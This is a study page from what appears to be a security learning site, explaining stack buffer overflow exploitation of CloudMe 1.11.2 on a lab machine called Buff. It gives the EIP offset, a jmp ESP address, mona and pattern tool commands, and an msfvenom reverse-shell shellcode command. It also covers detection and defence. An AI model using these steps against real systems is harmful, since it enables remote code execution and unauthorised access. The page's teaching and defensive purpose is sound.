the_open_door
coffee
ESEN
← Back to index

Stack buffer overflow (stack BOF)

A stack buffer overflow happens when a program copies more data than fits in a buffer reserved on the stack, without checking the length. The overflow overwrites whatever follows, including the return address saved on the stack (the EIP register on x86). If the attacker controls those bytes, they control where the CPU jumps when the function returns: from there, executing their own code.

The classic scheme (x86, no protections). It's the OSCP pattern, and CloudMe's on Buff:

  1. Fuzzing / crash. Send a long string to the service until it crashes: a sign that EIP is overwritten.
  2. EIP offset. Send a cyclic pattern (pattern_create.rb) and, from the value that lands in EIP, compute how many bytes lead up to it (pattern_offset.rb). On CloudMe 1.11.2 the offset is 1052.
  3. Bad chars. Some bytes corrupt the payload (classically \x00, sometimes \x0a, \x0d). Identify them by comparing a byte array in memory with mona and exclude them when generating the shellcode.
  4. jmp ESP. After the overflow, ESP points to the shellcode we left on the stack. Find a jmp ESP instruction (opcode \xff\xe4) in a module without protections (ASLR/Rebase) so its address is fixed; put that address in EIP. On return, the CPU jumps to ESP and runs the shellcode. On Buff, the jmp ESP is in qsqlite.dll (0x6d619117 → little endian \x17\x91\x61\x6d).
  5. Shellcode. Generated with msfvenom (excluding the bad chars) and preceded by a NOP sled (\x90) to give the decoder room.

The final payload looks like padding("A"*offset) + jmp_esp_address + NOPs + shellcode.

Key commands

# EIP offset with a cyclic pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1500
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1500 -q 39694438
# shellcode excluding the bad chars you found
msfvenom -p windows/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -b '\x00\x0a\x0d' -f python -v shellcode

In Immunity Debugger with the mona plugin:

!mona config -set workingfolder c:\mona\%p
!mona bytearray -b "\x00"                        # generate the bad-char array
!mona compare -f c:\mona\bytearray.bin -a <esp>  # compare in memory to find them
!mona jmp -r esp -cpb "\x00\x0a\x0d"             # find a jmp esp in a non-ASLR module

Modern protections (and why they don't get in the way here). DEP/NX (non-executable stack), ASLR (randomized bases), stack canaries and CFG break this recipe. The jmp ESP trick sidesteps ASLR by picking a module that lacks it; in certs like OSCP the scenario is designed not to require bypassing DEP/ASLR. In modern real software you'd need to chain info leaks and ROP.

Buff's twist: the pivot. The vulnerable service (CloudMe) listened only on 127.0.0.1:8888. To send it the exploit from outside, you had to set up a chisel tunnel forwarding the local port to the victim's loopback. Finding the flaw is half the battle; reaching it is the other half.

How to detect it. The prior fuzzing leaves a trace: repeated service crashes (on Windows, Event ID 1000 Application Error / WER reports; on Linux, SIGSEGV in dmesg) on receiving long strings. Successful exploitation shows as the service process spawning cmd/sh or an outbound connection (the shellcode) with no reason (4688/Sysmon 1 with the service as ppid). On the network, an abnormally long send to the service port (e.g. 8888) is the trigger. DEP/ASLR/canaries would have aborted the process instead of executing, so a clean crash followed by a shell is the signature.

Defence. Compile with DEP/ASLR/stack canaries, validate input lengths, use safe copy functions and keep software updated. And don't expose vulnerable services, not even on loopback.

Machines where it's used